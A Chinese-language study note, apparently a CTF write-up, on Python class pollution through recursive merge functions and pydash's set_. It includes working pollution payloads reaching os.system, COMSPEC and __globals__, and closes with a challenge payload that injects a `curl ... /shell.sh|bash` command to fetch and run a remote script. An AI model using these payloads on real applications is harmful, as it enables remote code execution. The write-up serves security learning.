python 原型链污染学习

复现SU的时候遇到一道python原型链污染的题，借此机会学一下
参考：
- 【原型链污染】Python与Js
- https://blog.abdulrah33m.com/prototype-pollution-in-python/
- pydash原型链污染

文章目录

基础知识
对父类的污染
命令执行
对子类的污染
pydash原型链污染
打污染的一些手法

基础知识

python的原型链污染实际是一些对类的操作，我们的输入一般是str或者int，所以不能使用

a.__class__=‘pollute’

但是a还有一个属性__qualname__，可以访问和修改类名

a.__class_.__qualname_=‘pollute’
假如原本a是poerson类，在此修改之后就会变成pollute类

接下来看merge函数，这个函数实现了对两个字典的递归合并，如果原来已有的键值对会被覆盖，新的键值对会被加进去，举个例子

合并两个字典
dict1 = {"a": {"x": 1}, "b": 2}
dict2 = {"a": {"y": 2}, "c": 3}
merge(dict1, dict2)
# dict2 = {"a": {"x": 1, "y": 2}, "b": 2, "c": 3}

覆盖原有值
class Settings:
    def __init__(self):
        self.theme = "dark"

config = {"theme": "light", "font": "Arial"}
settings = Settings()
merge(config, settings)
# settings.theme = "light", settings.font = "Arial"

深层更新
default_config = {"database": {"host": "localhost"}}
user_config = {"database": {"port": 5432}}
merge(user_config, default_config)
# default_config = {"database": {"host": "localhost", "port": 5432}}

到这里你应该理解merge函数的作用了，来看看它的源码

def merge(src, dst):
    # Recursive merge function
    for k, v in src.items():
        if hasattr(dst, '__getitem__'):  #检查dst对象是否有__getitem__属性，如果存在则可以将dst作为字典访问
            if dst.get(k) and type(v) == dict:
                merge(v, dst.get(k))
            else:
                dst[k] = v
        elif hasattr(dst, k) and type(v) == dict: #如果目标字典中已经存在该属性则只复制值
            merge(v, getattr(dst, k))
        else:
            setattr(dst, k, v)

所以，我们可以利用这个函数进行污染

对父类的污染

payload = {
    "__class__":{
    	"__base__":{
    	    "__qualname__":"Polluted"
    	}
     }
}
merge(a,payload)
print(a.__class__.__base__) #<class '__main__.Polluted '>

当然，对于不可变类型Object或者str等，Python限制不能对其进行修改。

命令执行

在一些存在命令执行的类里，我们就可以尝试覆盖cmd

def merge(src, dst):
    # Recursive merge function
    for k, v in src.items():
        if hasattr(dst, '__getitem__'):  #检查dst对象是否有__getitem__属性，如果存在则可以将dst作为字典访问
            if dst.get(k) and type(v) == dict:
                merge(v, dst.get(k))
            else:
                dst[k] = v
        elif hasattr(dst, k) and type(v) == dict: #如果目标字典中已经存在该属性则只复制值
            merge(v, getattr(dst, k))
        else:
            setattr(dst, k, v)
class exp:
    def __init__(self,cmd):
        self.cmd=cmd
    def excute(self):
        os.system(self.cmd)
a=exp('none')
b={"cmd":"calc"}
merge(b,a)
a.excute()

对子类的污染

在学习污染子类之前，先看一点前置知识在这里插入图片描述
其实很像SSTI，这个全局变量可以从任何已知函数的方法访问，比如我们常用的._init_.__globals__来找可以用来执行命令的模块，就是基于这个原理，__init__属性是类中常见的函数，所以可以直接用它来实现访问__globas__变量
接下来实现篡改os模块的一个环境变量

{
  "__init__": {
    "__globals__": {
      "subprocess": {
        "os": {
          "environ": {
            "COMSPEC": "cmd /c calc"  # 篡改环境变量 COMSPEC
          }
        }
      }
    }
  }
}

COMSPEC 环境变量的意义
在 Windows 中，COMSPEC 指定了系统命令解释器的路径（默认为 cmd.exe）。
篡改为 cmd /c calc 后，subprocess 调用系统命令时会直接执行计算器。
用subprocess模块主要是为了找到os，如果有os模块直接调用即可

看看完整攻击命令

import subprocess, json

class Employee:
    def __init__(self):
        pass

def merge(src, dst):
    # Recursive merge function
    for k, v in src.items():
        if hasattr(dst, '__getitem__'):
            if dst.get(k) and type(v) == dict:
                merge(v, dst.get(k))
            else:
                dst[k] = v
        elif hasattr(dst, k) and type(v) == dict:
            merge(v, getattr(dst, k))
        else:
            setattr(dst, k, v)



emp_info = json.loads('{"__init__":{"__globals__":{"subprocess":{"os":{"environ":{"COMSPEC":"cmd /c calc"}}}}}}') # attacker-controlled value

#
merge(emp_info, Employee())
# a=Employee()
# print(vars(a))
# print(a.__init__.__globals__['subprocess'])

subprocess.Popen('whoami', shell=True)

pydash原型链污染

set_(notes, key, value)

pydash库的set_函数，可以说是在实际环境中的merge函数，用于将键值对添加到类中

from pydash import set_
class user:
    def __init__(self):
        pass
test_str='123456'
set_(user(),'__class__.__init__.__globals__.test_str','789')
print(test_str)
#789

不过这里当个例子看就行，因为pydash库现在不允许直接对global，builtins这样的变量进行修改在这里插入图片描述
调试set_函数，跟进到update_with函数，可以看到跟merge函数起到类似的作用

def update_with(obj, path, updater, customizer=None):  # noqa: PLR0912
    """
    This method is like :func:`update` except that it accepts customizer which is invoked to produce
    the objects of path. If customizer returns ``None``, path creation is handled by the method
    instead. The customizer is invoked with three arguments: ``(nested_value, key, nested_object)``.

    Args:
        obj: Object to modify.
        path: A string or list of keys that describe the object path to modify.
        updater: Function that returns updated value.
        customizer: The function to customize assigned values.

    Returns:
        Updated `obj`.

    Warning:
        `obj` is modified in place.

    Example:

        >>> update_with({}, "[0][1]", lambda: "a", lambda: {})
        {0: {1: 'a'}}

    .. versionadded:: 4.0.0
    """
    if not callable(updater):
        updater = pyd.constant(updater)

    if customizer is not None and not callable(customizer):
        call_customizer = partial(callit, clone, customizer, argcount=1)
    elif customizer:
        call_customizer = partial(callit, customizer, argcount=getargcount(customizer, maxargs=3))
    else:
        call_customizer = None

    default_type = dict if isinstance(obj, dict) else list
    tokens = to_path_tokens(path)

    last_key = pyd.last(tokens)

    if isinstance(last_key, PathToken):
        last_key = last_key.key

    target = obj

    for idx, token in enumerate(pyd.initial(tokens)):
        key = token.key
        default_factory = pyd.get(tokens, [idx + 1, "default_factory"], default=default_type)

        obj_val = base_get(target, key, default=None)
        path_obj = None

        if call_customizer:
            path_obj = call_customizer(obj_val, key, target)

        if path_obj is None:
            path_obj = default_factory()

        base_set(target, key, path_obj, allow_override=False)

        try:
            target = base_get(target, key, default=None)
        except TypeError as exc:  # pragma: no cover
            try:
                target = target[int(key)]
                _failed = False
            except Exception:
                _failed = True

            if _failed:
                raise TypeError(f"Unable to update object at index {key!r}. {exc}") from exc

    value = base_get(target, last_key, default=None)
    base_set(target, last_key, callit(updater, value))

    return obj

虽然set_函数的注释里就可以看出它的作用，但是底层真正起到作用的还是update_with函数

def set_(obj: T, path: PathT, value: t.Any) -> T:
    """
    Sets the value of an object described by `path`. If any part of the object path doesn't exist,
    it will be created.

    Args:
        obj: Object to modify.
        path: Target path to set value to.
        value: Value to set.

    Returns:
        Modified `obj`.

    Warning:
        `obj` is modified in place.

    Example:

        >>> set_({}, "a.b.c", 1)
        {'a': {'b': {'c': 1}}}
        >>> set_({}, "a.0.c", 1)
        {'a': {'0': {'c': 1}}}
        >>> set_([1, 2], "[2][0]", 1)
        [1, 2, [1]]
        >>> set_({}, "a.b[0].c", 1)
        {'a': {'b': [{'c': 1}]}}

    .. versionadded:: 2.2.0

    .. versionchanged:: 3.3.0
        Added :func:`set_` as main definition and :func:`deep_set` as alias.

    .. versionchanged:: 4.0.0

        - Modify `obj` in place.
        - Support creating default path values as ``list`` or ``dict`` based on whether key or index
          substrings are used.
        - Remove alias ``deep_set``.
    """
    return set_with(obj, path, value)

打污染的一些手法

sys模块加载获取
引用sys模块下的module属性，这个属性能够加载出来在自运行开始所有已加载的模块，从而我们能够从属性中获取到我们想要污染的目标模块
如果可以把目标模块污染成我们想要的命令，那命令是不是就可以自运行了
通过 loader._init_._globals_[‘sys’]来获取sys模块
（loader加载器的作用是实现模块加载，在内置模块importlib中具体实现，而importlib模块下所有的py文件中均引入了sys模块）
在python中还存在一个__spec__，包含了关于类加载时候的信息，他定义在Lib/importlib/bootstrap.py的类ModuleSpec，所以可以直接采用<模块名>._spec._init_._globals_[‘sys’]获取到sys模块

了解到这些之后我们再来看SU的payload

payload={"key":"__init__.__globals__.json.__spec__.__init__.__globals__.sys.modules.jinja2.runtime.exported.2","value":"*;import os;os.system('curl http://156.238.233.9/shell.sh|bash');#"}

runtime有什么用呢在这里插入图片描述